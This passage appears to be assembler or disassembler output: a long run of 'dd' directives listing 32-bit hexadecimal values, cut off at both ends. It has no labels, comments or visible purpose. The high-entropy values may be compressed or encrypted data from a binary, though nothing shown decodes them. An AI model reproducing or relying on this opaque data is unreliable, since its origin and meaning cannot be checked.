2689C5A0h dd 189CF41Ch, 69F7182h, 0B688A493h, 0BF028E4Fh, 93D9039Ch dd 20083B62h, 0C4E337Dh, 41296118h, 5E6B7C00h, 83BA58C3h dd 0E5590016h, 2A64B796h, 0EA26366Fh, 8B0A5CFBh, 2F029C2Ch dd 6360B2h, 188D5C82h, 6B99C91h, 7E50B1FFh, 1E2E1420h dd 1F03885Eh, 5D18B96Fh, 0C1857900h, 3D9FD3BEh, 58BA3F91h dd 8477B49Ch, 81904550h, 8846A2D4h, 8052BAD9h, 0F97E2806h dd 3E0A4E7Ch, 0C40482C4h, 2D873031h, 29E2CC23h, 0F08CDD33h dd 437D00E6h, 6B778CB1h, 70729313h, 0E704E49h, 91D83E6Eh dd 78A20904h, 0D67F0079h, 0C34C0A93h, 5C187528h, 0BCA9B913h dd 1A84CD00h, 41B96B9h, 34E97C5Eh, 3E44C2A3h, 9A8BAE20h dd 3C424874h, 4E23BA09h, 0B78080B7h, 0AC72CD85h, 4E1E00BFh dd 0D895AE59h, 0E8177BCCh, 200453E3h, 46000FD2h, 621CA287h dd 21E7D492h, 374C20D5h, 0C65D1F40h, 0F97EB588h, 0BC99E4A1h dd 9C972A08h, 5AC4AF50h, 0B0652440h, 309B22C8h, 0A8849A24h dd 0DFD2F585h, 7D452890h, 0AFAB16B6h, 1E3464DCh, 26875284h dd 20DF6824h, 20061353h, 5D80E5FDh, 0AB814854h, 0CEB873C1h dd 75114431h, 0EC8EF5A3h, 1628937Eh, 1E3CD43Fh, 9C034AB4h dd 0C4CCE8Ah, 57980DE0h, 8609E839h, 4A849F0h, 34906AC0h dd 35E32F0Ah, 4B02707h, 0E599804h, 9FC1518h, 20569BD6h dd 0F399D41Ch, 646F5269h, 2AEC891Eh, 0C5B37B24h, 4025E7D8h dd 779326E8h, 33135F6Ch, 9A00C914h, 90B755B6h, 0CC44E32Eh dd 508C04C4h, 0C7625BCh, 14070C29h, 3BFDC3B8h, 0CE88D100h dd 298062E1h, 1405762Eh, 0E839D973h, 0CD12AF80h, 0A600B4A2h dd 0D8352AFCh, 0C15F5A8Bh, 0B6C4A0C8h, 9D609909h, 6C368430h dd 0AAF27202h, 18318187h, 0F26A4310h, 5B838009h, 0D5318011h dd 4C0D20BAh, 0B080E896h, 12EAA63Ch, 12FDAA39h, 4C4F68CCh dd 0B4240245h, 0D8B0A336h, 5FA810CFh, 937804B7h, 24B2421Ah dd 3C469B08h, 36309420h, 53098903h, 0CF02027Ah, 2006BC9Eh dd 38C69893h, 408AB310h, 5B380780h, 0F0CF7CF4h, 18C66D3Eh dd 8C6A3092h, 0D8085CBCh, 0C472D68Dh, 54934066h, 1DD44ED8h dd 0B1C63E95h, 805E1850h, 130BCE21h, 0E45633h, 651FD58Dh dd 0BB84BDF1h, 0B0953D24h, 22D6E08h, 1C2AEC3Eh, 9F4EC4A0h dd 98ACA6F9h, 54D53E26h, 0CA28940h, 44A4AE76h, 8902B392h dd 5F02BCEBh, 994C430Dh, 8022349Bh, 5CD3506h, 62398061h dd 12CC4CD2h, 0C40F17EEh, 1CC384B8h, 1C6010A5h, 872740D7h dd 91D0CA35h, 31BB7404h, 37970D05h, 0C912D0F8h, 149B52B9h dd 53494828h, 0C1AA80F0h, 9CB9B872h, 0A27458C8h, 387EC132h dd 9A0C40F7h, 9B5680FCh, 397A20h, 0F0CD8165h, 2B78896h dd 0DE77CE05h, 90C12CD8h, 0C4243EC3h, 0F07F53F8h, 0AC3069A2h dd 7EF01CA9h, 1D936E8Bh, 8EBB84BAh, 24288C48h, 6ED02510h dd 7532AF0Fh, 70C53089h, 736069E4h, 11029B0Bh, 0D76FFC80h dd 3C546C8Dh, 9317B5C6h, 3B041366h, 8C7F90h, 0D4342AEBh dd 45E0685Bh, 4A86E713h, 0AC43842h, 0BED8022Ch, 8AC230C3h dd 0D0F1B859h, 5ED0C81Fh, 18955E09h, 90BC86D3h, 59245CB0h dd 0E8058453h, 0D33BD2F6h, 1804FF78h, 0D09A074Dh, 0A9764A0h dd 0FDF9E505h, 36DE09B4h, 0CEF868EEh, 4A2EECB0h, 0C6425010h dd 8265042Fh, 84506C34h, 47D4E25h, 908194A8h, 90027FBh dd 5702A4D5h, 5C3C9AC5h, 1BC5111h, 1AD92197h, 7E405EEFh dd 13110F42h, 92B44D22h, 60441804h, 720D3A00h, 2558BA20h dd 4FE00BC0h, 4C6C8314h, 0FE6038D1h, 0B3352B00h, 0C2384D81h dd 25DC083Eh, 4E880552h, 1038A454h, 3A1A5F86h, 3C40192Eh dd 39768803h, 84428327h, 349216F0h, 93C882CAh, 95D448EEh dd 0E00D48ECh, 4504484Ah, 0A209D347h, 5BE8886Ch, 59B3882Ch dd 322054A8h, 0EC9F0849h, 0D0021596h, 59441ABBh, 48991158h dd 4E97B94h, 1388D404h, 98CE6402h, 39ED88Eh, 99783E5Ch dd 0CCD289B8h, 81307C67h, 3694A2DBh, 2AB0210Bh, 8792D023h dd 406B172h, 0DC651CD7h, 0EAB37328h, 94374C12h, 9E631010h dd 0FF062710h, 187238C9h, 0B2D2B81Ah, 821C4191h, 7002BC66h dd 7187A8F2h, 41101431h, 9B07F268h, 808F232Ch, 54A16A54h dd 1EA786F0h, 44997658h, 82F9CC0Dh, 2068C92Ch, 4D0801C7h dd 160C293h, 0DF02B875h, 0B5A08933h, 93D84331h, 6D305021h dd 3C0A85Fh, 0F676008Eh, 2958F0EBh, 930125F1h, 17E14DD6h dd 65EC9062h, 0D0CE0995h dd 1C02B377h, 3E004102h, 0A01716CCh, 2D83D6D8h, 8A25E96h dd 0C40F19Ch, 0EC27B55Ch, 2820A718h, 0AD57AB41h, 0E0415AD9h dd 7E0007D0h, 4E1EE3DFh, 42CF68Bh, 0BBD68F81h, 108938B6h dd 302039FEh, 46441FCEh, 51DEA201h, 5F15BEDAh, 3C40E5F1h dd 5C0A9370h, 0DA848860h, 2AC01819h, 62FD8142h, 0AEED00A0h dd 4E3C7EA3h, 58963293h, 0E8827420h, 94CB16B7h, 6573CB1h dd 83E20B8h, 0FF5E1C96h, 0F713EA18h, 6806FA82h, 50087FECh dd 0D64DC810h, 0BDC6F59h, 80F1CB3Ah, 0B8967CAAh, 264730EAh dd 5848AAC1h, 0CBDA9883h, 49309919h, 984ECC85h, 0C10BA5E8h dd 6591B86Dh, 9D6F8020h, 0B39AFAC1h, 3EFC721Dh, 0BA896887h dd 6B3BD87h, 29C08FCFh, 0C6B6977h, 2DA7DA60h, 14905D78h dd 9849B044h, 404E2E68h, 2C983D2Ch, 0B37A3AF7h, 23F42759h dd 0D85B0169h, 186AD68Ch, 53928863h, 0A4F2D803h, 0D0B07B4Ah dd 0AD2EBE4Eh, 601764B0h, 1639D5Eh, 144020C8h, 791162C5h dd 0FAF8E87Ch, 311601B6h, 0D5272B66h, 8A9060E1h, 0A3884A8h dd 0A6466725h, 801941B8h, 801637E0h, 406954Eh, 7ECAFDE8h dd 58183021h, 0AB768369h, 577873Dh, 92EF3F1Fh, 0D7CD5C20h dd 547490C4h, 12278C5Dh, 225F88AAh, 0E7222B74h, 1604C821h dd 0EB7B3Eh, 0F44F3BD1h, 0F11F27BAh, 62186518h, 6DDF79h dd 0E17A360h, 3F21EAF7h, 2A87C400h, 5E1ECF9Dh, 5C15260Fh dd 22640864h, 3F39D420h, 4D2B12B7h, 0E9C1D437h, 1820892Eh dd 27FF1C8Ah, 0CC075535h, 248E0207h, 69AC00EDh, 9E1F4A46h dd 4FA026BCh, 0E7000A7h, 0EA307510h, 9C49BF28h, 21825F4Bh dd 10A058F0h, 2754E693h, 915C1765h, 36B2804Ch, 7F0E8A84h dd 23E0038Eh, 4ECFCE5Eh, 363941A9h, 0BC492450h, 8418BAC2h dd 75282FCh, 6133E5B8h, 520583DBh, 0B4D2FD90h, 0EA8E2117h dd 0A1A82900h, 0F150ABh, 0CED9B5C8h, 87EDC04Ch, 8E675100h dd 0BA655DACh, 58F759DAh, 61221457h, 0E407DCFAh, 8FCC6F0Fh dd 0B2A3EB00h, 39F80140h, 4B8B1BE3h, 617C6190h, 0D488424h dd 0FCC3FAD4h, 96A1386Ch, 0EF54E901h, 7502B560h, 0C0B45B1Ch dd 42F9DDA5h, 0A014057Eh, 0C821EEBCh, 0E18BFC94h, 18757AECh dd 442E1C30h, 2448BA40h, 421A1198h, 864FD210h, 7FC82F0Dh dd 0D9049930h, 0B5181Bh, 0A8457055h, 0E49F3DC5h, 18589658h dd 33291036h, 9C30066h, 0A8AA994h, 6F002462h, 7303F570h dd 1E977FE3h, 0CE5FAE8Fh, 9A290DB4h, 7C9968E9h, 8C46B8E4h dd 0A878243Eh, 0AE208CE5h, 0BD5C011Fh, 0BE0AAFE7h, 88EC6C13h dd 207CA86Ah, 87FA483Eh, 857CE092h, 0A8E68B2Ah, 53186E18h dd 2195031h, 81CD23AAh, 246234D2h, 11F3C0D2h, 99BA42FDh dd 0ED82E000h, 0EEABD9FAh, 3DE3F801h, 9E7C9FA5h, 714AF5E0h dd 0B7EC0998h, 24492B01h, 0C441A9B6h, 981843D1h, 8080174Ch dd 0EDE3BB62h, 1EE70234h, 0FD8E2B8Bh, 0EC7824E4h, 85130501h dd 0CA7F783Eh, 2F958088h, 0B70EA0A8h, 136E0A65h, 0F1D11804h dd 66F80812h, 89D858C0h, 225246D6h, 508F0068h, 0A58ADD8h dd 0B012C0B8h, 0F400322Dh, 3673F6E8h, 0D78B698h, 3CEAA227h dd 0E6632254h, 0BC80C87Dh, 1A895C86h, 97CD3BA9h, 0E5178B05h dd 0A048B0EBh, 108A048Ch, 628B9E59h, 8257202Dh, 943AD110h dd 68B8B2DBh, 87AD2034h, 6C62A4CAh, 22D93E90h, 0C505F4Dh dd 1FE7E509h, 0F0D84CD1h, 0B0848A3Fh, 0F2746086h, 918723ACh dd 45001211h, 50E3F26Ch, 822FB416h, 0E8808A29h, 0BA043C11h dd 132AB0Ah, 6F30AA89h, 22659852h, 6AC29BD6h, 432ABC52h dd 87429CF2h, 24B07A00h, 0D77F2B7Bh, 3C54EA79h, 0E303F3FCh dd 0FF4846CAh, 0B75CC0FAh, 41992D7Bh, 8071A0B2h, 9A184679h dd 0CCF4BB01h, 8A6BC1Eh, 927C4C29h, 5E28B6B8h, 0A9022C46h dd 0B8E95636h, 5FAFFC0h, 5DF39804h, 0E4F5A40Dh, 54DBE2F8h dd 0A0D59C3Ah, 822033A4h, 6354E882h, 4007C222h, 402ACECCh dd 2E187228h, 0E738A07Fh, 0D8055120h, 54920030h, 20CCB43Ch dd 4C00A7CAh, 0D08770D1h, 925B96BBh, 64A30A0Ch, 7820684Eh dd 958CA4B9h, 6A919C97h, 0E8E6B680h, 27070D8Ch, 3BFB3AE2h dd 67C8D251h, 9017E097h, 6102E6FCh, 0E03F1C00h, 75C95AE7h dd 1795EE65h, 0D3AF24ECh, 0F6D3076Ch, 0A0579F88h, 0E800EF4Ch dd 47E38C69h, 0AD31F0DEh, 450B3C49h, 2E84BBCEh, 0B2A18068h dd 6BB3245Fh, 2C9739F3h, 30876491h, 0B055F022h, 2012C036h dd 0A004B55Eh, 0A0124116h, 244F39B4h, 0A437821h, 0B3CE315h dd 0E621C2D0h, 2E7DE408h, 2F3C657Eh, 892B0836h, 3172CEDh dd 0B1846808h, 1508E579h, 13523804h, 20321D23h, 50E9410Bh dd 9F43548h, 92EC0431h, 8F9D0BF3h, 0E85E0BA8h, 99F0E90h dd 0DABBD6FBh, 0D8C468D0h, 0C8BC2EBEh, 3A8C69ECh, 6A805587h dd 0F66F99F7h, 2327454Fh, 7EFC8414h, 2BB894BCh, 76E01C8Ch dd 1AF647D0h, 0D162543Eh, 8526E684h, 0A9219A29h, 6364C300h dd 1B3138Bh, 0AD4CB74Bh, 30F7AB84h, 0BA01E0C4h, 9AC5AC68h dd 48686E5Ch, 2DF430D6h, 8E005234h, 8E1BCB2h, 1CFB398h dd 73A00F7Ch, 30AB4977h, 0A154D24Ch, 0DE067ECCh, 89E74254h dd 3AFC3091h, 5DBD1559h, 0BC001FF0h, 7BD8526Eh, 5BB49E35h dd 0A72C0B0Ah, 82221494h, 0BA740F3Dh, 0F24BE2h, 0B7077F20h dd 8207656Dh, 0AFE80C90h, 2C09B2BEh, 68C48FDh, 19091AD1h dd 54C0D17Ch, 0B0B44422h, 0D052FD96h, 61C818CBh, 27505EC6h dd 64A45966h, 0F9935F30h, 894F0808h, 583AEC02h, 2E4EE0C1h dd 6C00CC34h, 5FDC1E7h, 5184B432h, 0BB701063h, 0C43F5DBAh dd 25DC310h, 82BEB5EEh, 0A368C342h, 0C2213050h, 0C6D895D9h dd 94934898h, 619978h, 0A112F42Bh, 0A4B05ABDh, 34AA8708h dd 23B03058h, 8980422Bh, 44E89938h, 0DBA0066h, 9736E9B6h dd 0BCAC022h, 929BDA00h, 0C06248D8h, 56A9030Bh, 2C412C14h dd 8111200Fh, 0EE7B83D5h, 8CCE9053h, 71E1346Bh, 0F2C4E280h dd 7CE301Bh, 0B861B901h, 95966383h, 4EE4B460h, 0B334004Ah dd 0B6A2FE7Fh, 60546624h, 4948D3Bh, 5072705Bh, 0AF3048F2h dd 173C7AC3h, 155CC5E0h, 517788DCh, 41E2E4BCh, 0C7221A7h dd 9330CE16h, 1FCA664h, 0B424BED2h, 93A459A6h, 3614927Ch dd 0B4732520h, 5987394h, 0AD2466FBh, 0CE30C057h, 0C61A5CD5h dd 4010039Ah, 0B933F294h, 0E0421A40h, 28F210C3h, 2C9C945Ah dd 38488440h, 0BAD202B0h, 0CE32F5A6h, 0D85AC86Ch, 0D73EE431h dd 0D274202Ah, 99805438h, 2809784Eh, 9F086B84h, 0C6BFB817h dd 9C7AA80Fh, 205A35A9h, 0E973C209h, 0CCCA8225h, 16F4F0DAh dd 0A61668ACh, 9752E024h, 23FF254Ch, 65442C67h, 6C5C8160h dd 0CDA1EA05h, 0B0092EF0h, 4544C297h, 1F3A9194h, 0C293BD0Dh dd 2323C4D2h, 80CFBC54h, 0F36A67C9h, 0D4AB7000h, 37294428h dd 13B8A40Ch, 0D276B8AAh, 552198E8h, 2C307F6Fh, 13DCB6BAh dd 813C9B65h, 0F6F1CD1h, 5E5EBCD8h, 26084415h, 0E5140243h dd 119C28B4h, 0D8578065h, 8C4AD688h, 78E6244h, 0A2D0D84Fh dd 0C3FAE264h, 9472F4C2h, 89AE2B0Fh, 0CCC0D6B2h, 4FAB02BAh dd 9AF00037h, 20835CEFh, 18C0909Dh, 116B60E7h, 8716E623h dd 51C19A71h, 0CAFD37B9h, 56180841h, 2CE68980h, 0EAD7C8FCh dd 0CC908E75h, 48205245h, 380D509Ah, 8C18A3Bh, 989189Fh dd 839E5810h, 5680C465h dd 48A21081h, 0D587246Ch, 288A085Ch, 0A00EB701h, 32E6ABCh dd 24E7ADECh, 18753900h, 59914E81h, 0DD140003h, 66EBF9A6h dd 8917522Bh, 98C250CAh, 89ACFB90h, 0D46749D1h, 0F0601AC4h dd 0DB7BEC33h, 0F66EC300h, 0F4CF5E93h, 787C0208h, 76EF043Eh dd 0E0CD50E1h, 8326DAB0h, 6B8154D9h, 398FEA58h, 5957D842h dd 0ED3030C0h, 0AF81DCFAh, 9D3FC610h, 6CA2890Ch, 242ED066h dd 83686503h, 7228C9FFh, 5DE31911h, 16E26C42h, 21C5230h dd 64B4D7A7h, 0B864FFA0h, 0CC3E6F4Ah, 84A06123h, 3F803A0Bh dd 0B830850Ch, 20B358C5h, 0EF3068A2h, 452A02BAh, 0F2B1DB4Fh dd 7B5EE040h, 5F4C0FF6h, 0D90212E4h, 9234C010h, 68235C2Eh dd 837E820Eh, 0C09466DDh, 2FE2382Bh, 20A435F3h, 18A08886h dd 3ED58309h, 7FF890D2h, 286CEC06h, 45D81AB0h, 0A8984469h dd 0ECD8418h, 0D810E749h, 8F00B963h, 31098479h, 627B8D5Ah dd 4E6C70CEh, 0B428F480h, 3A52D8BDh, 0B5322D0h, 412E8376h dd 0F8236813h, 0D85D016Bh, 7C7AD68Eh, 5594B020h, 4873E0D8h dd 27C04CD5h, 0D1E5AE68h, 0E16C2100h, 0A2D63398h, 0BDB3092Fh dd 0C0D9E603h, 0E408BC24h, 5099007Dh, 7570A227h, 64D11C9h dd 4F98FE2Ch, 846C90FCh, 653F12BCh, 97712486h, 8F0C832Fh dd 0D9925B5h, 12E42C65h, 6C636662h, 4C2778D7h, 0C0D213FCh dd 2D3CA65Dh, 3638C123h, 85CC48h, 0AC92F928h, 0B3945B1Fh dd 43F84A26h, 76024A26h, 74809AFDh, 0D895050Ch, 9EF4C2FCh dd 4F10105Ch, 4C50BF10h, 0A8393844h, 960F848Ah, 9C44CA09h dd 58E7CE0Fh, 80338C20h, 0A44AAA87h, 50E24813h, 3F710107h dd 172AD0D2h, 8D1DB805h, 0CF490ABCh, 0A240C065h, 0BAB8A8A8h dd 868C20Dh, 7C5E0CE1h, 0F2D6477Ch, 19717D6h, 585B8C0Ah dd 18083112h, 8C970B6Bh, 2634580Ah, 0B0C513C6h, 5D272284h dd 102CC489h, 930426E4h, 0C0A34008h, 9E5C108Dh, 0B04838F7h dd 1710855Ah, 439FC87h, 0E4302EE0h, 0FF22069Ch, 0C4A4A527h dd 84546362h, 7E800CC0h, 4ADE25BBh, 0E091B064h, 980D8905h dd 2580B0C8h, 42FE8Bh, 9988B453h, 0D88F8386h, 28FE8283h dd 4F91113Ch, 686B8C87h, 4EE7BD94h, 8EA4C418h, 0CF67C804h dd 3AC1A1E0h, 1013DD60h, 3467B624h, 671E5B54h, 34FC8C20h dd 0FA3D464Ch, 0C2ED0664h, 44986A48h, 8CB69DE7h, 0E65E25DCh dd 8DD2C448h, 58825900h, 99DFFA53h, 75F725B5h, 0C860A441h dd 0B34B4C88h, 0BC240C45h, 87ECCC55h, 61C7B910h, 840500E9h dd 4AB5FB4h, 5EA8EAB1h, 8EB8C29Ah, 0EC4CF06Ah, 5F1C849Dh dd 6922E410h, 804CE65Ch, 8D3D7D58h, 64740F62h, 0E820A8C4h dd 0D9BAD4D7h, 4B28708h, 148E0272h, 7136683h, 0A955D341h dd 28841968h, 642513CDh, 4E8B0445h, 49B298F3h, 0D5CB30h dd 92D953Dh, 789A8BF4h, 32E84361h, 8343BDAh, 9C751EB7h dd 5A65C261h, 205683E2h, 0BA166801h, 29839B0Ah, 78D0D289h dd 8B74D04Dh, 645AE7h, 0FCE86766h, 70238996h, 2AA8710Fh dd 562EC774h, 423C5252h, 5AB88939h, 0BBD60A8Ch, 268C47C6h dd 0B55CC1E4h, 3BE430E4h, 47F1640h, 6A0A1FDCh, 454B258h dd 4422BBD8h, 4B22A48Fh, 0CE49D4B0h, 83D6819Ch, 6C242F56h dd 46BA8840h, 7F94E8C4h, 7E0528B7h, 819DE8FFh, 9409634h dd 18A2C466h, 3C89230h, 0EA72737Ch, 0BB99B877h, 0DCF0AE1Eh dd 4B1AC468h, 97E0E619h, 0F8006837h, 0EB47A57Ah, 0CE7501D6h dd 934C33DFh, 46A42470h, 40DEBC2Dh, 298BD6E0h, 49D05736h dd 1E0364F9h, 0EDB6E813h, 60B5EC12h, 190DE000h, 0C8F5486Ch dd 250A52Ch, 6E6FD520h, 24742042h, 6D607F64h, 8721A5F2h dd 653EC059h, 22E8A6F2h, 240CA494h, 0E79EC0E1h, 0C40DA8BAh dd 20C007A2h, 4A40AAA0h, 9A6E3CCFh, 0AB18367Ch, 4620E0C1h dd 0E4A2083Bh, 0E627F4B6h, 347F5834h, 8C2ABCh, 0FFEECCE2h dd 4C6A0490h, 0A0B5CE7Dh, 7A3C4580h, 94F40070h, 0DC2EA3B2h dd 0C0827E8Eh, 0B55664ACh, 6053583Ah, 2D1670h, 30AC8338h dd 7EF55FD9h, 42CFA38h, 3722A062h, 45B48C8h, 0BD57E2A2h dd 4B7C81C7h, 20E061B8h, 6E40E864h, 0B05A4D17h, 0F9070E00h dd 4CC294C4h, 8E695204h, 0C8C9A2Ch, 6E541D89h, 176F9790h dd 407C2058h, 0C2F8A592h, 0C9BD5B02h, 7A097C79h, 27EF20C8h dd 0EC34CC90h, 90827869h, 4558E1CFh, 26F8E47Ch, 2F26E48Fh dd 0AE93D606h, 242C204Dh, 0CE40A0B5h, 310F48E5h, 0D7C02EB8h dd 0AC6F2AF5h, 0CBF2AC00h, 96BC9E29h, 0DE301F41h, 0AECC2D16h dd 8BA0C460h, 538CB217h, 8750B443h, 4E90A018h, 9D72309Eh dd 134B7C20h, 68A0286h, 0BE0DE16Dh, 230FDC51h, 0A289C1EEh dd 88325E74h, 9DC3A6Ah, 588265F7h, 68032BDFh, 5FE2C175h dd 10E8243Ah, 0D506E044h, 50DDE065h, 0A163E425h, 0FACC0D14h dd 32BC9F00h, 0B56C079Dh, 0BD005889h, 1391F897h, 9E6F2380h dd 21554EECh, 0C490D78Ch, 10C9033Ah, 803005ACh, 2F5A98BCh dd 4B2374h, 9CF2F382h, 6E16D9D5h, 34096DEEh, 548489D0h dd 8BD88218h, 0A064382Ah, 68C8015Bh, 195A617Eh, 0BD1BD6C5h dd 0DE830B30h, 0AAF8C949h, 934908D3h, 0A0044C3Eh, 9CCE656Fh dd 6C01788h, 0F31174h, 0F70E601Ah, 421FA3D2h, 84205891h dd 0C8FC950Bh, 44A81658h, 0DA2ABA76h, 3B2DF443h, 0B23821A1h dd 7C24FF02h, 0AE270FD7h, 6BA93288h, 4AF1FC79h, 2400FF18h dd 0A306EA90h, 77A0721Eh, 8C3254ECh, 0C75230F6h, 72D03E31h dd 0A491165Ah, 290954B0h, 0A42F5BC8h, 0B9001223h, 0D230E5FDh dd 7022F32Bh, 596BBD05h, 0BF448015h, 0B313E0F2h, 7810E689h dd 8C19E8D0h, 12476E03h, 0D2C2C7E3h, 8A14403Ch, 2043823Fh dd 0DF136039h, 0DB115C3Bh, 42DBF83Ah, 0CC04E43Ah, 0A819073Ah dd 0E68092DFh, 0AF48F4h, 9868BA5h, 14F6D08Ah, 7AD23F15h dd 0DCF30F80h, 0F921EBB4h, 74B7AFACh, 19360B3Dh, 40FC4F16h dd 7548C41h, 72F80A30h, 0D79B0D0Eh, 0C9280EC9h, 381167ACh dd 867C024Ch, 12928E7h, 693678A9h, 0FC44DCDFh, 8800AB64h dd 9694E5C7h, 24EE997h, 310D8127h, 8856835Ch, 52C49F85h dd 48368CB0h, 34CE6806h, 0C0180C90h, 974AF0F0h, 8CB57489h dd 2AF2C73Dh, 0C897A717h, 63806791h, 87954BADh, 13F6B13Ah dd 64E6221Ch, 49CEB1E7h, 32A70B5h, 330A6201h, 0BED89AC7h dd 21C4822Eh, 54483602h, 114F0054h, 6683DA89h, 4632B01h dd 1E82BC16h, 5E2DFC79h, 0C49E4CC0h, 4120AA31h, 5863157Ch dd 0E8331AE2h, 0FC471ECh, 90EBE95Ch, 0ECA30DE5h, 0C7248050h dd 13B27EB1h, 0B064CA55h, 47418818h, 0EDF4207Eh, 3698E4B1h dd 0C8EA0D00h, 90AA3455h, 9966761Fh, 184BD1C0h, 35630077h dd 8CE2259Fh, 0B8328BD5h, 58457AD2h, 0A4185854h, 0D498818Ch dd 7F107761h, 9849B34Ch, 8CCDEDEh, 9805306Ah, 2C815527h dd 95014E97h, 0A355C6D9h, 4B319A9Ch, 54D08C19h, 5817D04h dd 6878B1A6h, 4D971913h, 62B704C1h, 4CE181ADh, 2AC46109h dd 497A09Ch, 1B2DAAE8h, 7416AB4Dh, 0A8D26CF2h, 0DBEE1F6Ch dd 24A02E13h, 7666059Ch, 81C47C55h, 3F0516F4h, 90A9E852h dd 9BDB3861h, 688850CDh, 54607599h, 8ABED318h, 248A42Fh dd 62E59756h, 7B0B0A9Ch, 702265B4h, 0F1976168h, 0AFB9E517h dd 0A0C5D4A6h, 0DA8820CCh, 824C1959h, 54D62AF0h, 1C804D58h dd 0FCAAEABAh, 0E818C525h dd 4A90F6C0h, 9FF4D00Ah, 0BFFF06CCh, 27833B60h, 7E7C9934h dd 14E0D2D2h, 34D19BD8h, 4BE7CAC2h, 0D369B072h, 60247671h dd 0C95B574h, 30DFD537h, 97504409h, 0D0FE6C62h, 42176842h dd 0CC805508h, 0A419C144h, 0B2897F0Dh, 0C1A369EBh, 8C9F1450h dd 56A0C9h, 0D96B690h, 18A84CCEh, 0A9DA380Ch, 926451D0h dd 85A0D018h, 26008EE4h, 0E9B7C4C2h, 0FE5FB61h, 8B900CB8h dd 0AC02B569h, 6C835820h, 600F45F8h, 0A4EE2450h, 5109655Dh dd 0C1A8E830h, 0A9B87011h, 9EAC4588h, 0D84BC100h, 62970D9Eh dd 0D53E1937h, 30AC68F6h, 334C9407h, 3E48188Bh, 87B1800Ch dd 0DE843A58h, 3404CCD6h, 0E8541DE2h, 0AC218234h, 8C46BC44h dd 92D4EA0Ch, 408A58FDh, 8984E15h, 0BA295661h, 8075FB0Ah dd 428CCF0h, 31EABBCEh, 0D23E0363h, 64C1010Fh, 0E74351CFh dd 6B582461h, 51EB000h, 5D96E1C6h, 0B40A0048h, 0D62E889h dd 3E0255FAh, 9320058Ch, 266872DCh, 984C97FEh, 241449A4h dd 92E7CE01h, 4A13DA58h, 10819080h, 34825D2Fh, 0B52339C2h dd 0ADFCA257h, 0C098520Dh, 665F45C8h, 734D0A3Ah, 985D3E64h dd 47214E1Ch, 319E65E7h, 0E8E9FCh, 8D418619h, 2F87AD4Ch dd 0BC0028AAh, 6F5F1EBAh, 21E830E9h, 0A2CEF619h, 80BAFDC1h dd 0E7968108h, 0BE803380h, 0D3A9BAD8h, 0A9B01830h, 961D5B4Dh dd 2B9E6A1Ch, 0CD81D8C6h, 38A14C89h, 32D61964h, 0C1A08471h dd 0F86420AFh, 220024D8h, 0C63C1E8Ch, 0C0063533h, 8DA42991h dd 8B001160h, 765E7DD5h, 0B9E7A68Eh, 0AF803D84h, 0C5B4A799h dd 0F301E092h, 0E3B9798Dh, 0E1E1C09Bh, 40108C20h, 9A162746h dd 3C4B526Ch, 0FA07A36h, 0BE4ABCDh, 774FC1E0h, 2E287930h dd 38C47483h, 93026D80h, 0C02B23D6h, 80024238h, 19C70806h dd 0A37019B6h, 931A46h, 0EA22F5CEh, 0B59AD2B2h, 0CB3E0700h dd 0FF7F4D63h, 32AD0117h, 0F9CF1C15h, 54EA207Dh, 40C18A5Fh dd 781841BAh, 4C52BE28h, 33D98112h, 68C8808Bh, 49777AC0h dd 0B9D70076h, 2AAF57C3h, 0BB251129h, 188370Dh, 33905F49h dd 0F3BD823h, 0E49C2C7Eh, 51B4E142h, 28AF040h, 602A2184h dd 0EBD3110h, 0A4D21120h, 82BB5081h, 0B07B0030h, 0AA7D021Ch dd 34ABDABAh, 188914D6h, 105CC295h, 142C7EB4h, 0C87D604Eh dd 59FC0490h, 63B0A700h, 6DB6A385h, 964F0083h, 0BF9E7B6Ch dd 0CA0766Bh, 6A009D2Fh, 63C0907Ah, 80B04F41h, 613CAEA3h dd 66C10F89h, 8FC08F7Ah, 5FC4817Bh, 62DD9487h, 1DB2A5F0h dd 9F846Ah, 0C44F8870h, 970C8967h, 287D726Dh, 9B841E64h dd 988C40B9h, 923565BBh, 0A240BC60h, 691E7Bh, 806CAE97h dd 8A6DC64Fh, 0B575D07h, 1E733C1Fh, 406E535h, 3E806E75h dd 720071C0h, 5A6150A1h, 84311E90h, 0C098799Dh, 62713EE3h dd 4C18A637h, 0A85485E1h, 7E1F6A08h, 7602AF9Fh, 8D27B1A1h dd 88808038h, 71BF946Bh, 0BB409E7Eh, 236D036Ch, 415A3988h dd 69B0E80Eh, 5238B85Eh, 6272324Fh, 0A0809040h, 6A4DB892h dd 3B6D8300h, 8B15435h, 0BF7F3C22h, 9BB378B8h, 3AA18AE1h dd 65788293h, 8E61BCA1h, 203CB5A1h, 8D430179h, 6347C198h dd 92000A4Fh, 9CA37E76h, 1CF96953h, 679D3983h, 10BF9FCh dd 430AB215h, 443F4238h, 0FF7AA8h, 0D3B183DAh, 34AEB562h dd 0AB44B984h, 0C0AAE828h, 0C69A8B19h, 0A2B5147Fh, 2961B690h dd 48B2BC5Eh, 0E5141018h, 0A8A2E924h, 44A69389h, 30E42C88h dd 589D1900h, 0EC6209D4h, 16416065h, 9A900250h, 0C02544B9h dd 5A95D8CCh, 0FE78C847h, 407C2CA2h, 0F1A860B0h, 0A0289613h dd 0C514257Ch, 0AC943071h, 0B7586468h, 3690B924h, 0BCD1B8A1h dd 0F1CB08E4h, 0C0848F45h, 87CA9438h, 0D8AC7E11h, 0B2463F87h dd 0BE421CFAh, 1A0C61A4h, 0A036012Fh, 0E420F835h, 5C7E449Ch dd 80AA822Eh, 0C4C81B4Bh, 0E2444008h, 7F5C42BAh, 0C4D427D7h dd 0B68C425h, 357293DAh, 0C7816441h, 106F2800h, 0E2B850D2h dd 443FFF6Bh, 326D9C14h, 0CC9F216Ah, 0BC438BAh, 0C161C1D0h dd 0AFDE9A60h, 24EAEAACh, 1E4B7A0h, 0F2B49E15h, 9B2D7A98h dd 9898C182h, 0A89A1ECh, 0AFD2B818h, 0B228BCB0h, 910EA40h dd 0D632A056h, 32C5041Bh, 0D8117144h, 0B4DC2815h, 68A6FC94h dd 85608208h, 0C866D13Eh, 0E86ACAD0h, 0AB1B0441h, 0D8182191h dd 0E0C8B390h, 0D032A364h, 99111C2Ah, 48302089h, 11417338h dd 98D0306Fh, 683271F3h, 30BB4055h, 0C4972456h, 0EA9CA3BCh dd 251D0F16h, 890B5846h, 35661AD6h, 20E7059Ch, 3A0B931h dd 173922A9h, 0AA21034Eh, 8397027Fh, 0F90E017h, 34180404h dd 19AE70A0h, 4837D75Fh, 75AC530Bh, 43062820h, 984EF244h dd 185FAD50h, 214618D8h, 0B425B3D9h, 19105065h, 18EE4E15h dd 0A0D13B37h, 41892EE6h, 48E8F595h, 0B861B388h, 